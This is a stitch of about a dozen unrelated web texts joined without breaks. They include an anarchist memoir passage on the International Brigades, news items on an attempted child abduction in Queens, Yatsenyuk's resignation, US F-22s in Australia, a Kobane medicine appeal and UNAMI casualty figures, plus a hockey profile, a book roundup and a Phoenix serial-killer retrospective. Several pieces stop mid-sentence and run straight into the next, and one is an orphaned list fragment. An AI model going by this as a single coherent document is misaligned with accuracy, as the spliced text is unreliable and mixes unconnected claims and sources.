However, the Soviet Union clearly directed the assistance it gave to the Spanish Republic toward the International Brigades and the loyal regular Spanish army. It made sure that arms, equipment, and other assistance were withheld from the militias and regions dominated by anarchists. At the same time, it sent secret police agents to Spain to kidnap, imprison and murder known opponents of Stalinism, especially, as Richards notes, ex-Communists who "knew too much.” The Soviet government also aimed to destroy the anarchist revolutionary movement in Spain which had proved such a formidable barrier to the Spanish Communist Party's attempts at political hegemony. These goals were far from secret, and were even published in various CP papers throughout the world. For example, on December 16, 1936, the Soviet party paper Pravda published an article which proclaimed, "As for Catalonia, the purging of the Trotskyists and the anarchosyndicalists has begun; it will be conducted with the same energy with which it was conducted in the U.S.S.R.” At the same time, the Spanish Communist Party supported the re-constitution of a regular police force, political police, and a regular army to replace the militias.
WHY WE LOST THE WAR
Why We Lost the War: A Contribution to the History of the Spanish Tragedy by Diego Abad de Santillán [Por qué perdimos la guerra; Imán, Buenos Aires, 1940; G. del Toro; Madrid, n.d.--translation from the Madrid edition by Charlatan Stew, from pp. 211-215]
The formation of the International Brigades and their admission into Spain were claimed to be necessary to counterbalance the military forces and aid sent by the Italian Fascists and German Nazis. The main difference between the two kinds of military assistance was that the Italian and German aid was intended to gain military triumph for the Francoists, and was, through its quantity and quality, a decisive factor in this triumph. For the Republicans, on the other hand, the International Brigades were not effective except as an instrument of domination for the Communists. For the Republic, the famous Brigades were, unintentionally, a factor in the defeat, since they did the anti-popular work of the Russians and the Spanish government beholden to them--to the detriment of the popular insurgency.
There was one reality that we Spanish revolutionaries could not ignore: we were counting on the active support of many workers and rebels from all countries who wanted to come and fight alongside us, for our cause, which was the universal cause of freedom against tyranny. We could not deny their desire to fight and die with us. Many Italians, Germans, French and people from other countries fought alongside us on the Aragon front from the very beginning.
But this kind of support was one thing, and the political intentions of those who created the International Brigades, with recruits from various countries, was something else. Despite the good intentions of some of the recruits who came to Spain, there were others, unemployed workers, who were won over by the attractive promises of recruiting propaganda. They came to Spain, not to die in the war, but to make a living in it, like old-time mercenary soldiers. The initiators and highest-level leaders of the International Brigades, on the other hand, clearly understood the purpose for which they were formed.
In truth, the Republican government did not enjoy popular support, either in the Center, in Catalonia, the Levante, or Extremadura. The Russians shrewdly understood that the government would be unable to govern unless it were seen to be serving the people, by responding to their demands and aspirations. But they deemed it necessary to slow down the Spanish masses, to discipline them, to subjugate them to a strong central power--to change the Spanish temperament and soul. The people were heroically struggling against the Francoist military rebellion, but they were not a docile instrument in the hands of the government or the War Ministry bureaucracy.
In order to have a primary means of domination at its disposal, the central government, aided by the diplomatic machinations of the Russian government, admitted the so-called International Brigades into the country. The odious pretext given was that the popular militias did not know how to fight and were not obedient. In reality, they didn't obey those they weren't obliged to obey!
The militias did know how to fight, and they followed orders as well as the International Brigades. The only difference between the two was that the International Brigades were receiving modern, effective arms and equipment, while the popular militias were usually barefoot, with primitive weapons, and in most cases without ammunition. They were plagued by the ongoing sabotage of the centralized Republican bureaucracy.
We [of the CNT/FAI] opposed the formation of the International Brigades and ordered the border delegates not to let their volunteers cross the border from France. Then, we were visited by individuals, such as André Marty, who entered Spain secretly under Russian protection, to convince us to grant passage through Catalonia for those men who wanted to fight with us. We maintained that we had plenty of men, that instead of bringing these brigades into Spain, they should be helping us with arms and ammunition. We considered it an injustice and a crime that our militias, with all their bravery and spirit, should be unarmed, while large foreign units were given every necessity and treated well. We took over a thousand of those volunteers prisoner and escorted them back over the Spanish-French border. They then proceeded to French ports, where they took ships to Spanish ports controlled by the Republican government.
On one occasion one of our coast guard ships, the Francisco, detained a cargo of arms intended for the International Brigades. When it was unloaded in Barcelona, we found that the cargo consisted of worn-out pre-World War One equipment, purchased by the Spanish central government without concern for price. It was of such poor quality that we had no objections to handing it over when we were asked to. The enterprising Frenchmen involved in organizing the International Brigades evidently did a fine business with the government of the Republic.
Due to clever manipulation of the situation by the Russian government, we had to give up leadership of the Catalonian militias. As a consequence, the so-called volunteers then passed without hindrance through Catalonia.
We still did not have any clear notion of the danger these brigades posed as instruments of the central government. We feel sure that those of the rank-and-file fighters who were not simply adventurers would not have volunteered for the game that was being played; they didn't realize that the brigades were required, not for the war effort, but only for the treacherous party policy of aspirants to dictatorship. For this a docile military force was needed, since the Spanish people were persistently showing themselves to be independent adults.
Afterwards, and when their mission was completed, we expressed our opinion to many of the International Brigade fighters, and they readily agreed that we were correct. But it was too late to repair the disastrous work they had unwittingly accomplished.
We will not discuss here the secret prisons or the freely-perpetrated assassinations of volunteers who were not loyal Stalinists. It seems that the Machiavellian Russians calculated that, in the context of the warm sympathy generated by the Spanish revolution, they could use the International Brigades against Trotskyists, anarchists, independent socialists and other adversaries who were attracted to the Brigades. In part, they calculated correctly.
We don't know how many joined the Brigades. There were perhaps between twenty and twenty-five thousand. But the truth is that within a few months, and as early as Indalecio Prieto's tenure as Minister of War, the majority of International Brigade fighters were Spaniards who were required to serve in them under the command of Communists from Russia and elsewhere. The ranks of these brigades were more often thinned out by desertion than by enemy fire, and were replenished by Spanish draftees.
In our opinion, there was never more opposition on the part of the people, nor were they less able to influence the war policy, than in the formation of the International Brigades and, later, in the creation of the swaggering carabineros.
AFTERWORD
Approximately 40,000 men from all over the world fought in the International Brigades. About one-third were killed, and many were permanently injured. Unfortunately, political repression of those who expressed criticism of Stalinism was a reality of daily life in the brigades. Jason Gurney, in Crusade in Spain [Faber & Faber, Ltd., London, 1974], who discusses the International Brigades from the point of view of the British volunteers, notes that André Marty, chief political commissar of the International Brigades, and a member of the Central Committee of the French Communist Party, admitted to having ordered the execution of 500 men belonging to the brigades for little or no reason except their political views. Gurney discusses some of the many decisions which were made by the brigade leaders for political reasons, with little regard for the disasters these caused.
Cecil Eby, in Between the Bullet and the Lie: American volunteers in the Spanish Civil War [Holt Reinhart & Winston, New York, 1969], discusses the desertions from the International Brigades which occurred from their inception and throughout their entire existence. The brigades were far from well trained, and were often not well equipped. Nevertheless, they had an authoritarian military officer structure, including political commissars for each battalion, and, despite populist rhetoric, discipline was often enforced harshly. Many volunteers felt this to be both inappropriate and wrong treatment for people who had freely chosen to come to fight. The political commissars were also often resented by volunteers from the Western countries, such as the U.S., Britain and France, who didn't want indoctrination, but information and discussion. Desertions and poor morale were due primarily to volunteers' growing distrust of the brigades' political and military hierarchy and resentment of the arbitrary (and, some felt, incompetent) behavior of the officers.
By the end of February, 1937, Eby tells us, the French consul at Valencia had supervised the evacuation of 400 French deserters aboard French war ships. However, when the French government closed the border on March 3, 1937, the Spanish Republican authorities arrested 60 more French deserters in Valencia and returned them to Brigade headquarters for imprisonment and punishment. Although many volunteers felt that, since they had come of their own accord, they should be allowed to leave when they chose, they were generally treated no different than draftees once in the brigades. However, once the Spanish government put an end to the rescue of volunteers by their home countries, desertion rates in the brigades were somewhat decreased, although never eliminated.
For more information on the International Brigades from a variety of perspectives, readers might also want to check Philip Toynbee [editor], The Distant Drum: Reflections on the Spanish Civil War [David McKay Company, Inc., New York, 1976].A 12-year-old girl was almost snatched from a supermarket parking lot in Queens Village by a man who yelled "You are coming with me!", police say.
The victim and her mother made a police report and a sketch was created of the suspect, who apparently has very distinctive tattoos: A red cross on his forehead and a Playboy bunny on his neck.
The incident occurred on Thursday, August 31, around 12:30 p.m. at the Key Food at 213-22 Jamaica Avenue. According to the NYPD, the girl and her mother were in the parking lot when the suspect approached them, grabbing the girl's arm and yelling "You are coming with me" in Spanish. The mother was able to intervene, causing the suspect to allegedly flee.
The shaken mother told WABC 7, "I pulled her away from him, and he ran away," adding, "I said to him, 'What's wrong with you?' And he didn't really answer and I pulled her back."
Police describe the suspect as being around 5'11" and 180 pounds, with close cut black hair as well as scarring on his left cheek, a tattoo of a cross on his forehead and a tattoo picture of a rabbit on his neck. He was last seen wearing a red T-shirt and a dark colored baseball cap.
Please help us find this man before he strikes again! #Queens pic.twitter.com/1D1QxSA9wI — NYPD 105th Precinct (@NYPD105Pct) September 1, 2017
Anyone with information in regards to this incident is asked to call the NYPD's Crime Stoppers Hotline at 1-800-577-TIPS (8477) or for Spanish, 1-888-57-PISTA (74782). The public can also submit their tips by logging onto the Crime stoppers website at WWW.NYPDCRIMESTOPPERS.COM or by texting their tips to 274637 (CRIMES) then enter TIP577.City-based Confidare, which guides victimised and distressed men reclaim their rights, has started a new initiative to educate unmarried men. A two-day workshop organised by Confidare, #SafeMarriage, will teach candidates the dos and don’ts to live happy and safe in marriage, according to the group.Speaking to Bangalore Mirror of the programme, Virag Dhulia, one of the founder members of Confidare, said, “We usually listen to men who are victims of domestic violence and support them in every possible way we can. We thought of this initiative to benefit unmarried men that would educate them on how to deal with every aspect of marriage. Through this awareness programme, we aim at reducing the risk of mental torture and abuse faced by men.”Cofounder Anil Kumar went on to add, “Today most men have no clue about how to deal with a conflict in marriage. It can be a mere difference of opinion or interference from husband’s or wife’s parents. Stress at job worsens this problem and increases the misunderstanding. Advice or mediation by parents or family elders often does not work and sometimes may actually add to the problem. In our training, we teach men about various family laws from pre-nuptial agreements to domestic violence laws. Wellbeing of men is our primary focus. With proper education and guidance, they can stay clear of marital problems that adversely impact them.”Activist of women’s rights and chairperson of Janodaya, an NGO that works for women empowerment, Santhosh Vas, has a different take of the initiative. “Women these days do not need a man’s help in any aspect because they are strong enough to manage things on their own. If you really want to make women happy, change traditions and cultures. For a change, we should send a man to the girl’s house and see how they all live happily ever after as there will be no issues of dowry and violence or abuse. I am happy that such a workshop is being organised, though I am sure that such workshops don’t work. I have no sympathy for a man who is a victim of domestic violence as the limit of tolerance in men is zero.”The two-day workshop will be held on February 27-28. Unmarried men will be trained on the following topics: Recent cultural changes in India, How to manage expectations in marriage, How to handle differences and conflicts, How to deal with parents and in-laws, Laws related to marriage, and How to safeguard oneself in marriage and prenuptial agreements.To enrol for the workshop, one can go to the #SafeMarriage link on the Confidare website.KIEV, Ukraine — Ukrainian Prime Minister Arseniy Yatsenyuk announced his resignation Thursday following turmoil in government.
Yatsenyuk made the announcement from the dais of Parliament after two parties said they would pull out of the governing coalition.
‘‘I am announcing my resignation in connect with the collapse of the coalition,’’ Yatsenyuk said. He said Parliament could no longer do its work and pass necessary laws.
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The nationalist Svoboda party and the Udar party led by former boxer Vitali Klitschko pulled out of the group of legislators that took over after former President Viktor Yanukovich was ousted by protesters seeking closer ties with the European Union.
Parliament speaker Oleksandr Turchynov said it was up to Udar and Svoboda to propose a candidate for temporary prime minister to lead the government until early parliamentary elections can be held.To look back on any period of reading with the intention of selecting one’s favorite books is a curious two-way time machine — one must scoop the memory of a past and filter it through the sieve of an indefinite future in an effort to discern which books have left a mark on one’s conscience deep enough to last a lifetime. Of the many books I read in 2016, these are the sixteen that moved me most deeply and memorably. And since I stand with Susan Sontag, who considered reading an act of rebirth, I invite you to revisit the annual favorites for 2015, 2014, and 2013.
THE LONELY CITY
“You are born alone. You die alone. The value of the space in between is trust and love,” artist Louise Bourgeois wrote in her diary at the end of a long and illustrious life as she contemplated how solitude enriches creative work. It’s a lovely sentiment, but as empowering as it may be to those willing to embrace solitude, it can be tremendously lonesome-making to those for whom loneliness has contracted the space of trust and love into a suffocating penitentiary. For if in solitude, as Wendell Berry memorably wrote, “one’s inner voices become audible [and] one responds more clearly to other lives,” in loneliness one’s inner scream becomes deafening, deadening, severing any thread of connection to other lives.
How to break free of that prison and reinhabit the space of trust and love is what Olivia Laing explores in The Lonely City: Adventures in the Art of Being Alone (public library) — an extraordinary more-than-memoir; a sort of memoir-plus-plus, partway between Helen MacDonald’s H Is for Hawk and the diary of Virginia Woolf; a lyrical account of wading through a period of self-expatriation, both physical and psychological, in which Laing paints an intimate portrait of loneliness as “a populated place: a city in itself.”
After the sudden collapse of a romance marked by extreme elation, Laing left her native England and took her shattered heart to New York, “that teeming island of gneiss and concrete and glass.” The daily, bone-deep loneliness she experienced there was both paralyzing in its all-consuming potency and, paradoxically, a strange invitation to aliveness. Indeed, her choice to leave home and wander a foreign city is itself a rich metaphor for the paradoxical nature of loneliness, animated by equal parts restlessness and stupor, capable of turning one into a voluntary vagabond and a catatonic recluse all at once, yet somehow a vitalizing laboratory for self-discovery. The pit of loneliness, she found, could “drive one to consider some of the larger questions of what it is to be alive.”
She writes:
There were things that burned away at me, not only as a private individual, but also as a citizen of our century, our pixelated age. What does it mean to be lonely? How do we live, if we’re not intimately engaged with another human being? How do we connect with other people, particularly if we don’t find speaking easy? Is sex a cure for loneliness, and if it is, what happens if our body or sexuality is considered deviant or damaged, if we are ill or unblessed with beauty? And is technology helping with these things? Does it draw us closer together, or trap us behind screens?
Bedeviled by this acute emotional anguish, Laing seeks consolation in the great patron saints of loneliness in twentieth-century creative culture. From this eclectic tribe of the lonesome — including Jean-Michel Basquiat, Alfred Hitchcock, Peter Hujar, Billie Holiday, and Nan Goldin — Laing chooses four artists as her companions charting the terra incognita of loneliness: Edward Hopper, Andy Warhol, Henry Darger, and David Wojnarowicz, who had all “grappled in their lives as well as work with loneliness and its attendant issues.”
Laing examines the particular, pervasive form of loneliness in the eye of a city aswirl with humanity:
Imagine standing by a window at night, on the sixth or seventeenth or forty-third floor of a building. The city reveals itself as a set of cells, a hundred thousand windows, some darkened and some flooded with green or white or golden light. Inside, strangers swim to and fro, attending to the business of their private hours. You can see them, but you can’t reach them, and so this commonplace urban phenomenon, available in any city of the world on any night, conveys to even the most social a tremor of loneliness, its uneasy combination of separation and exposure. You can be lonely anywhere, but there is a particular flavour to the loneliness that comes from living in a city, surrounded by millions of people. One might think this state was antithetical to urban living, to the massed presence of other human beings, and yet mere physical proximity is not enough to dispel a sense of internal isolation. It’s possible – easy, even – to feel desolate and unfrequented in oneself while living cheek by jowl with others. Cities can be lonely places, and in admitting this we see that loneliness doesn’t necessarily require physical solitude, but rather an absence or paucity of connection, closeness, kinship: an inability, for one reason or another, to find as much intimacy as is desired. Unhappy, as the dictionary has it, as a result of being without the companionship of others. Hardly any wonder, then, that it can reach its apotheosis in a crowd.
There is, of course, a universe of difference between solitude and loneliness — two radically different interior orientations toward the same exterior circumstance of lacking companionship. We speak of “fertile solitude” as a developmental achievement essential for our creative capacity, but loneliness is barren and destructive; it cottons in apathy the will to create. More than that, it seems to signal an existential failing — a social stigma the nuances of which Laing addresses beautifully:
Loneliness is difficult to confess; difficult too to categorise. Like depression, a state with which it often intersects, it can run deep in the fabric of a person, as much a part of one’s being as laughing easily or having red hair. Then again, it can be transient, lapping in and out in reaction to external circumstance, like the loneliness that follows on the heels of a bereavement, break-up or change in social circles. Like depression, like melancholy or restlessness, it is subject too to pathologisation, to being considered a disease. It has been said emphatically that loneliness serves no purpose… Perhaps I’m wrong, but I don’t think any experience so much a part of our common shared lives can be entirely devoid of meaning, without a richness and a value of some kind.
Dive deeper here.
HOPE IN THE DARK
I think a great deal about what it means to live with hope and sincerity in the age of cynicism, about how we can continue standing at the gates of hope as we’re being bombarded with news of hopeless acts of violence, as we’re confronted daily with what Marcus Aurelius called the “meddling, ungrateful, arrogant, dishonest, jealous, and surly.”
I’ve found no more lucid and |
ation: Fitness Superstar
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Matthew Clines (33)
Hometown: Arlington, Va.
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Occupation: Government Engineer
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Occupation: Dance TeacherThe US will begin flying its deadliest fighter plane, the F-22 Raptor, out of northern Australia next year, the most senior American commander in the Pacific has revealed as he warned of a need to show strength to deter aggression in the region.
During a visit to Sydney on Wednesday, the commander of the US Pacific Command, Admiral Harry Harris, vowed the US would remain a major player in the region, saying its "enduring interests" would not "change on January 20th" - referring to the day of Donald Trump's inauguration as President.
Admiral Harris revealed that he had signed a 2017 agreement for Australia to host US military assets including the Raptors, which are feared and revered as the best fighter planes in the world, and will send a strong signal about US military presence in the region.
"I think that's positive," Admiral Harris told the Lowy Institute event.Displaced Kurdish civilians from Kobane in northern Syria push toward a barbed wire fence at the Turkish border. File photo: John Stanmeyer
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Syrian Kurdish official: Iraqi Kurds have right to determine own destiny
Syrian Kurdish leader: Iran is hostile to the fundamental rights of the Kurdish people
ARA News
KOBANE – The Syrian Kurdish city of Kobane, renowned for resisting ISIS, has struggled to cope with a months-long medicine shortage. A German solidarity group has launched a crowd funding campaign to buy medicine for Kobane and Manbij.
“We are a German based group (with people from different countries) that started our Solidarity work back in 2015. Our goal at that time was, to supply a medical facility in Kobane with Solar panels. The idea was to take a first step, for an ecological decentralized and independent energy supply,” said Andreas Winkler, a spokesman for the AK Solarenergie Für Rojava.
The online campaign has so far collected 2,448 Euros. The campaign aims to collect over 20,000 Euros which will be used to procure and deliver medicine to northern Syria.
“As you know in recent months there was the campaign for the liberation of Manbij,” he said. “It was at that time when our friends in Rojava [Syria’s Kurdish region] told us how critical the situation in the hospitals is, and that there is an acute shortage of medicine there,” Winkler told ARA News. “This led us to the decision of starting a campaign in coordination with our friends in Kobane.”
Doctors in Kobane had previously told ARA News that they were running out of critical medicines, needed to treat civilians.
Kobane is not a unique case. Many other cities in northern Syria and Rojava are suffering from a lack of medicine due to an embargo from the neighbouring countries and Damascus. The Syrian regime refuses to allow medical aid to pass through Qamishli Airport.
“Over the past few months, the Syrian regime and neighbouring countries have been preventing entry of medicines and children formula to Rojava [Syria’s Kurdish region],” head of the Kurdish Red Crescent, Dilgesh Issa, told ARA News in Qamishli.
Last week, protests were held in front of the UNCHR Building in the city of Qamishli. The demonstrators demanded that the UN alleviate the medicine shortage in Rojava.
“Our people have been suffering the most under the current crisis, especially the lack of medicines caused by the ongoing embargo imposed on the Rojava region. That’s why we’ve been protesting to call on the UN to take action in this regard,” Dilma Ibrahim, a member of the Rojava Health Commission, told ARA News during the Qamishli protest.
“While helping and supporting the crowd funding is the most practical way people can support Rojava with medicine, it has no less of importance to raise awareness!” Winkler said, calling on people to raise awareness about the “difficulties that people resisting Daesh [ISIS] are facing,” he said.
Reporting by: Wladimir van Wilgenburg and Fatma Abdulhalim
Source: ARA News
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Join our Weekly NewsletterPITTSBURGH — Jacques Martin’s favourite word is “process”.
But did it have to take nearly 30 years for this to happen?
That’s how long Martin has spent as either a coach, assistant or a GM in the NHL — yet this appearance as an assistant with the Pittsburgh Penguins is his first trip to the Stanley Cup Final.
“I guess it just shows how difficult it is to get to the final series,” Martin told Postmedia in an interview before the series against the San Jose Sharks got underway Monday night at the Consol Energy Center.
“From looking at the league, with the parity, and some years you may feel that you have a good chance at it … but the playoffs are a completely different ball game.”
When Pittsburgh won the East last week, Martin’s old buddy Marc Crawford sent him a text which partially read: “Hey, congratulations, it’s about time you won.”
Martin’s coaching resume reads like a map of North America.
The 61-year-old, a former goalie at St. Lawrence University in Canton, N.Y., started chasing his coaching dream when he was an assistant with the OHL’s Peterborough Petes from 1983-85, won a Memorial Cup with the Guelph Platers in 1986 and then was head coach of St. Louis for two seasons from 1986-88.
From there his career has seen plenty of stops. There have been head coaching gigs in Ottawa, Florida and Montreal. He’s been an assistant in Chicago, Quebec/Colorado and now the last three seasons with the Penguins. He enjoyed most of his head coaching success with the Senators.
“I’m very happy for him because Jacques was somebody who was very important to my career,” said Crawford, who will be an associate coach on Guy Boucher’s staff with Ottawa. “He was a veteran coach who came into Quebec with me and he stopped me from making lots of mistakes early in my career.
“He’s doing a really good job with Pittsburgh. As much as Mike Sullivan has done a really good job with the Penguins, people will recognize that Jacques has come in and helped him in so many ways.”
It’s not like he hasn’t been close before. In his years with the Senators, he had a chance to coach some great teams, but he could never get them to the next level. The closest Martin came was in 2003, when the Senators forced a Game 7 at home in the Eastern Conference final, but lost a heartbreaker to the New Jersey Devils.
When Chris Phillips hung up his skates last week in Ottawa, one of his most memorable moments was his overtime goal in Game 6 to bring that series back home. That team had it all with Daniel Alfredsson, Marian Hossa, Martin Havlat, Zdeno Chara and Wade Redden, just to name a few.
“That’s the year we won the Presidents’ Trophy. I felt like we had a really good team,” Martin recalled. “It was unfortunate that we lost to New Jersey in Game 7. It just shows you have to learn from it and turn the page.
“That (2003) team and, in Ottawa, we had a some misfortune by losing some playoff series to Toronto. We had a veteran team and we had trouble getting out of it. You learn from those and I think it paid off after. It’s a long process. You need to have luck, have people healthy and it’s a combination of things to get here.”
Martin just missed getting to the final while working as an assistant to Crawford in 1995-96 in Colorado. Martin left to take the Ottawa job in late-January and the Avalanche went on to win the Stanley Cup that spring.
“No regrets,” Martin said. “I wanted to be a head coach and that was the time. It happened to be late January. I knew we had a great team in Colorado but there was no hesitation on my part.
“I wanted to be a head coach and that gave me a great opportunity. To be in Ottawa for nearly nine years, I had an opportunity to take a young team and build it up into a pretty good contender.”
Crawford said it wasn’t easy for Martin to leave then.
“It was tough decision for him to make that transition to go to Ottawa and I think it was absolutely the right decision, but that was a team that was learning and it was in the infancy of its development program. He was the perfect guy to go in there. He gave stability to the Senators and built them into a strong contender,” said Crawford.
Now, Martin has the chance to be a champ.
Martin likes Penguins’ chemistry
Jacques Martin isn’t making any plans for a Stanley Cup party just yet.
He’d like to win it first.
But you can be guaranteed the resident of St. Pascal, Ont. — located just outside of Ottawa — will bring the coveted Cup somewhere within the vicinity of his old neighbourhood if he gets the chance.
“I’d probably have something in the area,” Martin said with a laugh.
Right now, he just wants to get the title.
“It’d be great to win,” Martin said. “We have great chemistry on this team. A lot of respect for the players and I like our depth. We really have some good people.”
bgarrioch@postmedia.com
Twitter.com/sungarriochBaghdad, 1 June 2014 – According to casualty figures released today by UNAMI, a total of at least 799 Iraqis were killed and another 1,409 were injured in acts of terrorism and violence in May*.
The number of civilians killed was 603 (including 144 civilian police), while the number of civilians injured was 1108 (including 218 civilian police). A further 196 members of the Iraqi Security Forces were killed, and 301 were injured (not including casualties from Anbar operation).
“I strongly deplore the sustained level of violence and terrorist acts that continues rocking the country. I urge the political leaders to work swiftly for the formation of an inclusive government within the constitutionally mandated time frame and focus on a substantive solution to the situation in Anbar”, the Special Representative of the United Nations Secretary-General (SRSG), Mr. Mladenov said.
Anbar excluded, Baghdad was the worst affected Governorate with 932 civilian casualties (315 killed, 617 injured), followed by Ninewa (113 killed 248 injured), Salahuddin (94 killed 146 injured), Kirkuk (22 Killed, 60 injured), Diyala (38 killed 28 injured).
*CAVEATS: Data do not take into account casualties of the current IA operation in Anbar, for which we report at the bottom the figures received by our sources.
Operations in Anbar
According to information obtained by UNAMI from the Health Directorate in Anbar, the total civilian casualties in Anbar up to 30 May were 195 killed and 499 injured, with 95 killed and 222 injured in Ramadi and 100 killed and 277 injured in Fallujah.Share This Story Tweet Share Share Pin Email
Paul Patrick wanted a pack of cigarettes.
He knew there were two different serial killers criss-crossing the Phoenix area, one of them a sniper prowling Patrick's neighborhood at night, shooting people out of car windows. But the mini-mart was just blocks away, within sight of his house. He was craving a smoke.
So at 11:30 on that hot evening, June 8, 2006, the 45-year-old Army veteran who worked as a supermarket stocker ventured out on Indian School Road in west Phoenix.
He didn’t hear the shotgun blast so much as feel it slam into him.
Before he fell to the ground, he stood for a moment frantically trying to hold his entrails in his hands to keep them from spilling onto the street.
He screamed for help.
When he looked up, he saw a Hispanic man standing over him holding a pistol. He expected the gunman to finish him off.
Patrick thought, “Please make it fast.”
Instead the man said, “No one’s going to hurt you.”
The man was Saúl Guerrero, an Army National Guard, a combat veteran of the Iraq war. He worked as an MP at the Phoenix Armory and lived in the neighborhood.
When he heard the shot, Guerrero thought, “It’s Maryvale,” a tough west Phoenix neighborhood where shots are heard frequently.
Then his mother asked him to come outside. A man was screaming on the sidewalk across the street.
Guerrero called 911.
But when he saw that people were only walking up to look at the screaming man, then walking away, he told the 911 operator, “You’re going to have to talk to my mom. She only speaks Spanish.”
Guerrero ran into his apartment, got his gun and a simple first-aid kit. Then he ran, barefoot and bare-chested through the traffic on Indian School Road.
He identified himself to Patrick and used what he could from his first-aid kit. He held Patrick’s guts in to stanch the bleeding until the ambulance and police showed up.
The police took Guerrero's gun from him until they were sure he was not a threat; then they took his name and told him they would contact him if they needed him.
They never did.
17 people dead, dozens more injured or assaulted
Ten years later, another killer is stalking victims in Phoenix, several of them in the Maryvale area where Paul Patrick was shot.
Police are baffled, much as they were in the summer of 2006.
Two separate sets of serial killings had plagued the Valley for more than a year. Over 16 months in 2005 and 2006, at least 17 people were killed, and dozens more were assaulted and injured before police arrested suspects in August and September.
One of the killers was referred to as the "Serial Shooter," though eventually two men were convicted in the killings, and a third was convicted of crimes related to the carnage. They were sniping out of cars at transients, prostitutes, immigrants or people they mistook for any of the above.
The other was called the "Baseline Killer." He snatched women off the street, often in broad daylight. If they didn’t give in to his sexual demands, he shot them in the head and left them tauntingly near to where he had taken them in the first place, then disappeared like a wraith.
Guerrero had never heard of the Serial Shooter, who cut down Paul Patrick that summer night.
He learned only months later, when Patrick’s family came looking for him to thank him.
By the end of the summer of 2006, nearly everyone in metropolitan Phoenix knew about the murders.
It was a summer of fear.
I covered the killings as a reporter for this newspaper, from the shootings to the eventual arrests, the murder trials and sentences, the appeals, even the death of one of the killers.
I knew the judges, the prosecutors, the defense attorneys, the police officers, the victims, the bad guys, the families of the victims as well as the families of the accused. I visited the sites where the crimes took place, searching for clues.
And now, a decade later, I still drive the streets of the Valley thinking: “Someone was shot on that bench, in front of that store,” or “Someone was abducted at that ATM,” or “They found a body there by that building.”
There are stories about victims and survivors that I still cannot tell out loud without my voice cracking.
And this summer, I find the same reactions — in many cases stronger — from the police officers who cracked the cases, the judges who tried them, the lawyers who defended and prosecuted them.
And from the victims, whether the family members left behind, or those who weren’t killed, who all remain permanently scarred.
He'll never know why... because there was no reason
Paul Patrick survived — barely.
The shooting took his legs and his livelihood from him. For years he rode a scooter-wheelchair to get around.
He attended every day he could of the trials and waited patiently for the testimony of the man who shot him.
When he finally heard it, the realization came over him: There was no reason.
Near the end of the first trial, Patrick had a massive stroke that nearly killed him. Doctors could not measure the extent of the brain damage by MRI because the magnetic force would have pulled the buckshot pellets that remained in his body and sliced him to pieces.
Paul Patrick was shot and wounded at 78th Avenue and West Indian School Road at 11:30 p.m. on June 8, 2006.
(Photo: Camille Kimball/Special for The Republic)
I remember visiting him in the hospital then. A piece of his skull had been removed to ease the swelling. Just a flap of skin covered his brain.
He had several more strokes over the years and came so close to dying that his family was called to come see him for a last time before he died.
Each time he pulled through.
Recently, I visited him in the nursing home where he is confined to a hospital bed, able to move only his left arm and leg.
I was surprised he remembered me, and he smiled, and I realized I was part of the life he used to have.
We talked about the day he went out to buy a pack of cigarettes against his better judgment.
He grinned.
“Smoking can kill you,” he said.
. Part 1: The unspeakable violence begins
The first ominous signs were dogs, horses and other animals found shot to death in West Valley yards in mid-2005.
Then there were immigrants on bicycles, transients sleeping on benches in west Phoenix or panhandling under an overpass in Tolleson, all of them shot dead with.22-caliber slugs.
In August 2005, the sexual assaults started along Baseline Road, from Tempe to Laveen. A group of teenagers. A mother assaulted in front of her daughter then forced to drive while the daughter was molested.
The events seemed isolated at first. They spanned multiple jurisdictions, so police departments would not immediately see a pattern.
There was no Twitter, no Instagram, fewer Facebook users. Information — and fear — took longer to take hold in those days.
But the bodies added up.
Georgia Thompson was 19, an exotic dancer from Idaho. On Sept. 9, 2005, she was found on her back in the parking lot of a Tempe apartment complex with a bullet in her head.
Georgia Thompson, 19, was shot to death outside her Tempe apartment complex on Sept. 9, 2005.
(Photo: Special for The Republic)
Her keys were still clutched in her hand. She wore an orange T-shirt that said, "Better luck next time."
Her pants were unbuttoned, but she had not been sexually assaulted. The only evidence found at the scene was a spent.380-caliber cartridge casing.
Ballistics experts needed months to link that casing to other murders.
At about 7:30 in the evening of Dec. 29, 2005, someone started shooting from a car at a Tempe bartending school.
Over the next five hours, the car meandered through central Phoenix. The shooting continued: A dog was killed as it was being walked by its owner; then a man named Jose Ortis was murdered; then a second man, Marco Carillo, was shot to death.
A block and a moment later, Timmy Tordai had just gotten off the bus after working a shift at the post office. He was walking home when he felt a pop under his collarbone and fell to the ground, paralyzed.
“I thought I was having a heart attack. And then I saw the blood.” Timmy Tordai
"I thought I was having a heart attack," he said later in court. "And then I saw the blood."
Before the night ended, three more dogs were shot dead in central Phoenix.
Sometime after 1 a.m., now Dec. 30, a woman was turning tricks on Van Buren Street.
She had just gotten out of one john's car and was scanning the street for her next when a light-blue, four-door car passed her and made a U-turn. She thought it might be her next john until she saw the gun barrel come out the driver's side window.
She lived; a passerby stopped his car and drove her to a hospital.
Just as police realized that the car-sniper incidents were linked to a “serial shooter,” they stopped for five months.
Police had not yet connected any murders to the rapes along Baseline Road.
In February 2006, Romelia Vargas and Mirna Palma Roman were found dead in a lunch wagon in southwest Phoenix with gunshots to the head, their pants unbuttoned and pulled down slightly. At first police thought it was a drug deal gone bad.
Then in March, Chao Chou and Liliana Sanchez Cabrera were abducted at gunpoint as they got into a car behind the restaurant where they worked at 24th Street and Indian School Road. Both were found dead within a mile of each other.
Chao "George" Chou and Liliana Sanchez Cabrera.(The Republic)
Police now knew they had two serial killers on the streets and began sounding the alarm in the media. One killer was shooting out of cars. The other was on foot, appearing out of nowhere to assault women, and shooting them in the head if they resisted.
“The police chief and the city manager asked to see me, and they closed the door,” said Phil Gordon, who was mayor of Phoenix at the time.
“We made a public-policy decision,” Gordon said. “Nothing was going to be spared."
More attacks, more bodies: A dead prostitute, Kristina Nicole Gibbons, was found stuffed between a building and a shed on 24th Street in Phoenix.
A woman was abducted at gunpoint at 32nd Street and Thomas Road by a black man wearing a fright mask and pushing a shopping cart.
She was forced to drive to a secluded area nearby and strip naked. When she refused to perform oral sex on her abductor, he put the gun to her head and told her that her parents would read about her in the newspaper the next day. He pulled the trigger, but the gun misfired.
As soon as she heard the click, she leaned on the door handle and fled naked to the nearest house.
Then the shootings from cars picked back up in central Phoenix, in South Scottsdale, in Maryvale and near Phoenix Sky Harbor International Airport.
But now the shooter was using a shotgun instead of a.22 rifle, which cannot be traced as easily as a rifle's bullets. Investigators wondered at first if it was yet another assailant.
The police came up with nicknames for the killers.
They named the car-window sniper the "Serial Shooter.” They had no descriptions of the driver/shooter, they knew he drove a light-colored sedan.
